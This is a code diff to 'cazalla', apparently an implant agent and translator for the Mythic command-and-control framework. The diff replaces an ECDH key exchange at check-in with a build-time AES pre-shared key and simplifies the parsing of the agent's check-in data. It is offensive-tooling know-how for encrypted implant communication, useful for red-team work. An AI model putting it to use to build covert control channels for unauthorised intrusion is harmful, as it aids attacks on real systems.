diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
index 907de61..b962788 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
@@ -153,35 +153,8 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
 
     DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
     
-    // === Leer clave pública del servidor y derivar AES si cifrado está habilitado ===
-    if (cazallaConfig->encryptionEnabled) {
-        SIZE_T tamanoClave = 0;
-        PCHAR pub_server = getString(respuestaAnalizador, &tamanoClave);
-
-        if (pub_server && tamanoClave > 0) {
-            printf("[CHECKIN] Recibida clave pública del servidor (%zu bytes)...\n", tamanoClave);
-            fflush(stdout);
-
-            if (!crypto_import_peer_pub_b64_and_derive_aes(pub_server)) {
-                printf("[CHECKIN] ERROR: fallo al derivar AES desde clave pública del servidor\n");
-                fflush(stdout);
-                liberarAnalizador(respuestaAnalizador);
-                return FALSE;
-            }
-
-            printf("[CHECKIN] AES derivada correctamente\n");
-            fflush(stdout);
-
-        } else {
-            printf("[CHECKIN] ERROR: no se recibió clave pública del servidor (tam=%zu)\n", tamanoClave);
-            fflush(stdout);
-            liberarAnalizador(respuestaAnalizador);
-            return FALSE;
-        }
-    } else {
-        printf("[CHECKIN] Cifrado deshabilitado: no se procesa clave pública\n");
-        fflush(stdout);
-    }
+    // === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
+    // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
 
 
     liberarAnalizador(respuestaAnalizador);
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c
index b0775a6..0d26d5a 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c
@@ -57,13 +57,9 @@
 #define SHA256_HASH_SIZE 32
 
 // Globals (simple single-agent context)
-static BCRYPT_KEY_HANDLE g_currentKey = NULL;
-static BCRYPT_ALG_HANDLE g_algECDH = NULL;
 static unsigned char g_aesKey[AES_KEY_SIZE];
 static int g_aesKeySet = 0;
 static int g_encryptionEnabled = 0;  // Track if encryption is enabled
-static unsigned char g_pubRaw[512];
-static DWORD g_pubRawLen = 0;
 
 // Helpers
 static void secure_zero(void *p, SIZE_T n) {
@@ -73,170 +69,7 @@ static void secure_zero(void *p, SIZE_T n) {
 void crypto_cleanup(void) {
     secure_zero(g_aesKey, sizeof(g_aesKey));
     g_aesKeySet = 0;
-    if (g_currentKey) {
-        BCryptDestroyKey(g_currentKey);
-        g_currentKey = NULL;
-    }
-    if (g_algECDH) {
-        BCryptCloseAlgorithmProvider(g_algECDH, 0);
-        g_algECDH = NULL;
-    }
-    secure_zero(g_pubRaw, sizeof(g_pubRaw));
-    g_pubRawLen = 0;
-}
-
-// Generate ECDH P-256 key pair and export public raw (X||Y in ANSI X9.62 uncompressed form).
-BOOL crypto_init_generate_pub_b64(char **pub_b64_out) {
-    NTSTATUS status;
-    DWORD keySize = 0;
-    DWORD resultLen = 0;
-
-    crypto_cleanup();
-
-    // Open ECDH algorithm provider (nistP256)
-    status = BCryptOpenAlgorithmProvider(&g_algECDH, BCRYPT_ECDH_P256_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0);
-    if (!BCRYPT_SUCCESS(status)) return FALSE;
-
-    // Generate ephemeral key pair
-    status = BCryptGenerateKeyPair(g_algECDH, &g_currentKey, 256, 0);
-    if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; }
-
-    status = BCryptFinalizeKeyPair(g_currentKey, 0);
-    if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; }
-
-    // Export public key in BCRYPT_ECCPUBLIC_BLOB format to know size
-    status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, NULL, 0, &resultLen, 0);
-    if (!BCRYPT_SUCCESS(status) && status != STATUS_BUFFER_TOO_SMALL) { crypto_cleanup(); return FALSE; }
-
-    PBYTE pubBlob = (PBYTE)LocalAlloc(LPTR, resultLen);
-    if (!pubBlob) { crypto_cleanup(); return FALSE; }
-
-    status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, pubBlob, resultLen, &resultLen, 0);
-    if (!BCRYPT_SUCCESS(status)) { LocalFree(pubBlob); crypto_cleanup(); return FALSE; }
-
-    // BCRYPT_ECCPUBLIC_BLOB layout: ULONG dwMagic; ULONG cbKey; then X then Y
-    // For P-256, cbKey == 32
-    DWORD *magic = (DWORD*)pubBlob;
-    DWORD *cbKey = (DWORD*)(pubBlob + sizeof(DWORD));
-    PBYTE x = pubBlob + sizeof(DWORD)*2;
-    PBYTE y = x + (*cbKey);
-
-    // Produce uncompressed raw public point = 0x04 || X || Y
-    g_pubRawLen = 1 + (*cbKey) * 2;
-    g_pubRaw[0] = 0x04;
-    memcpy(g_pubRaw + 1, x, *cbKey);
-    memcpy(g_pubRaw + 1 + (*cbKey), y, *cbKey);
-
-    // Base64 encode
-    char *b64 = NULL;
-    if (!base64_encode(g_pubRaw, g_pubRawLen, &b64)) {
-        LocalFree(pubBlob);
-        crypto_cleanup();
-        return FALSE;
-    }
-
-    *pub_b64_out = b64; // caller must LocalFree when done
-
-    LocalFree(pubBlob);
-    return TRUE;
-}
-
-// Return public raw (LocalAlloc copy)
-unsigned char *crypto_get_public_raw(DWORD *out_len) {
-    if (!g_pubRawLen) { *out_len = 0; return NULL; }
-    unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, g_pubRawLen);
-    if (!buf) { *out_len = 0; return NULL; }
-    memcpy(buf, g_pubRaw, g_pubRawLen);
-    *out_len = g_pubRawLen;
-    return buf;
-}
-
-// Import peer public key (base64 of uncompressed point 0x04||X||Y), derive shared secret and set AES key = SHA256(shared)
-BOOL crypto_import_peer_pub_b64_and_derive_aes(const char *peer_pub_b64) {
-    if (!peer_pub_b64) return FALSE;
-    unsigned char *raw = NULL;
-    size_t rawlen = 0;
-    if (!base64_decode(peer_pub_b64, &raw, &rawlen)) return FALSE;
-    if (!raw || rawlen < 1) { if (raw) LocalFree(raw); return FALSE; }
-    if (raw[0] != 0x04) { LocalFree(raw); return FALSE; } // expect uncompressed point
-
-    // Convert raw to BCRYPT_ECCPUBLIC_BLOB layout for import: dwMagic, cbKey, X, Y
-    DWORD cbKey = (DWORD)((rawlen - 1) / 2);
-    DWORD blobLen = sizeof(DWORD)*2 + cbKey*2;
-    PBYTE blob = (PBYTE)LocalAlloc(LPTR, blobLen);
-    if (!blob) { LocalFree(raw); return FALSE; }
-
-    // dwMagic: use BCRYPT_ECDH_PUBLIC_P256_MAGIC
-    DWORD *pmagic = (DWORD*)blob;
-    *pmagic = BCRYPT_ECDH_PUBLIC_P256_MAGIC;
-    DWORD *pcb = (DWORD*)(blob + sizeof(DWORD));
-    *pcb = cbKey;
-    memcpy(blob + sizeof(DWORD)*2, raw + 1, cbKey); // X
-    memcpy(blob + sizeof(DWORD)*2 + cbKey, raw + 1 + cbKey, cbKey); // Y
-
-    // Import as a public key
-    BCRYPT_KEY_HANDLE pubKey = NULL;
-    NTSTATUS status = BCryptImportKeyPair(g_algECDH, NULL, BCRYPT_ECCPUBLIC_BLOB, &pubKey, blob, blobLen, 0);
-    if (!BCRYPT_SUCCESS(status)) {
-        LocalFree(blob); LocalFree(raw);
-        return FALSE;
-    }
-
-    // Derive secret via BCryptSecretAgreement + BCryptDeriveKey
-    BCRYPT_SECRET_HANDLE secret = NULL;
-    status = BCryptSecretAgreement(g_currentKey, pubKey, &secret, 0);    
-    if (!BCRYPT_SUCCESS(status)) {
-        BCryptDestroyKey(pubKey);
-        LocalFree(blob); LocalFree(raw);
-        return FALSE;
-    }
-
-    // Derive raw secret bytes using KDF: use BCryptDeriveKey with NULL mapping to get raw secret?
-    // Simpler: use BCryptDeriveKey with algorithm AES and use derived key bytes via KDF_SP800_56a_Counter (Windows default)
-    // We'll use BCryptDeriveKey with AES to obtain a 256-bit key directly into our g_aesKey.
-    BCRYPT_ALG_HANDLE aesAlg = NULL;
-    status = BCryptOpenAlgorithmProvider(&aesAlg, BCRYPT_AES_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0);
-    if (!BCRYPT_SUCCESS(status)) {
-        BCryptDestroySecret(secret);
-        BCryptDestroyKey(pubKey);
-        LocalFree(blob); LocalFree(raw);
-        return FALSE;
-    }
-
-    // Prepare KDF parameters: we'll request raw key material of length AES_KEY_SIZE
-    DWORD derivedKeyLen = AES_KEY_SIZE;
-    PBYTE derivedKey = (PBYTE)LocalAlloc(LPTR, derivedKeyLen);
-    if (!derivedKey) {
-        BCryptCloseAlgorithmProvider(aesAlg,0);
-        BCryptDestroySecret(secret);
-        BCryptDestroyKey(pubKey);
-        LocalFree(blob); LocalFree(raw);
-        return FALSE;
-    }
-
-    status = BCryptDeriveKey(secret, NULL, NULL, derivedKey, derivedKeyLen, &derivedKeyLen, 0);
-    if (!BCRYPT_SUCCESS(status)) {
-        LocalFree(derivedKey);
-        BCryptCloseAlgorithmProvider(aesAlg,0);
-        BCryptDestroySecret(secret);
-        BCryptDestroyKey(pubKey);
-        LocalFree(blob); LocalFree(raw);
-        return FALSE;
-    }
-
-    // Set g_aesKey to derivedKey
-    memcpy(g_aesKey, derivedKey, AES_KEY_SIZE);
-    g_aesKeySet = 1;
-
-    // cleanup
-    secure_zero(derivedKey, derivedKeyLen);
-    LocalFree(derivedKey);
-    BCryptCloseAlgorithmProvider(aesAlg,0);
-    BCryptDestroySecret(secret);
-    BCryptDestroyKey(pubKey);
-    LocalFree(blob);
-    LocalFree(raw);
-    return TRUE;
+    g_encryptionEnabled = 0;
 }
 
 // Initialize AESPSK key from base64 string (Mythic format)
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c
index 4b72c7a..e569294 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c
@@ -85,14 +85,6 @@ SIZE_T b64tamanoDecodificado(const char* in) {
     return ret;
 }
 
-int b64IsValidChar(char c) {
-    if (c >= '0' && c <= '9') return 1;
-    if (c >= 'A' && c <= 'Z') return 1;
-    if (c >= 'a' && c <= 'z') return 1;
-    if (c == '+' || c == '/' || c == '=') return 1;
-    return 0;
-}
-
 static int b64_inverse(char c) {
     if (c >= 'A' && c <= 'Z') return c - 'A';
     if (c >= 'a' && c <= 'z') return c - 'a' + 26;
diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py
index 2550b3a..85eb3d4 100644
--- a/Payload_Type/cazalla/translator/commands_from_c2.py
+++ b/Payload_Type/cazalla/translator/commands_from_c2.py
@@ -102,21 +102,13 @@ def responseTasking(tasks):
 def responseCheckin(uuid, server_pubkey=""):
     """
     Construye la respuesta de checkin.
-    Incluye la clave pública ECC del servidor (base64) para que el agente derive la AES.
+    Nota: server_pubkey ya no se usa (cifrado AESPSK se inyecta en build time).
     """
     data = bytearray()
     data.append(commands["checkin"]["hex_code"])  # 0xF1
     data += uuid.encode()  # UUID del agente
-
-    # Si hay clave pública, añadirla con longitud (DWORD) + datos
-    if server_pubkey:
-        key_bytes = server_pubkey.encode()
-        data += len(key_bytes).to_bytes(4, "big")
-        data += key_bytes
-        print(f"[DEBUG] Añadida server_pubkey ({len(key_bytes)} bytes)")
-    else:
-        data += (0).to_bytes(4, "big")
-        print("[DEBUG] Sin server_pubkey en checkin")
+    # Longitud 0 para clave pública (ya no se usa ECDH)
+    data += (0).to_bytes(4, "big")
 
     return bytes(data)
 
diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py
index 4d1705b..63de62b 100644
--- a/Payload_Type/cazalla/translator/commands_from_implant.py
+++ b/Payload_Type/cazalla/translator/commands_from_implant.py
@@ -52,14 +52,16 @@ def checkIn(data):
     # Retrieve External IP
     externalIP, data = getBytesWithSize(data)
 
-    # === Retrieve ECC Public Key if present ===
-    pub_key = None
+    # Nota: ECC Public Key ya no se usa (cifrado AESPSK se inyecta en build time)
+    # Leemos y descartamos la longitud (4 bytes) que siempre será 0
     try:
-        pub_key, data = getBytesWithSize(data)
-        pub_key = pub_key.decode() if pub_key else None
-        print(f"[DEBUG] Clave pública ECC recibida: {pub_key[:60]}...")  # truncada
-    except Exception as e:
-        print(f"[DEBUG] No se recibió clave pública ECC: {e}")
+        key_len = int.from_bytes(data[:4], "big")
+        data = data[4:]
+        if key_len > 0:
+            # Descarta los datos de la clave si existen (código legacy)
+            data = data[key_len:]
+    except:
+        pass
 
     dataJson = {
         "action": "checkin",
@@ -75,9 +77,6 @@ def checkIn(data):
         "externalIP": externalIP.decode('cp850'),
     }
 
-    if pub_key:
-        dataJson["pub_key"] = pub_key
-
     return dataJson
 
 
diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py
index ea23498..36f2864 100644
--- a/Payload_Type/cazalla/translator/translator.py
+++ b/Payload_Type/cazalla/translator/translator.py
@@ -131,8 +131,7 @@ class cazalla_translator(TranslationContainer):
 
         if inputMsg.Message["action"] == "checkin":
             print("Response CHECKIN")
-            server_pubkey = inputMsg.Message.get("server_key", "")
-            response.Message = responseCheckin(inputMsg.Message["id"], server_pubkey)
+            response.Message = responseCheckin(inputMsg.Message["id"])
 
         elif inputMsg.Message["action"] == "get_tasking":
             print("Response TASKING")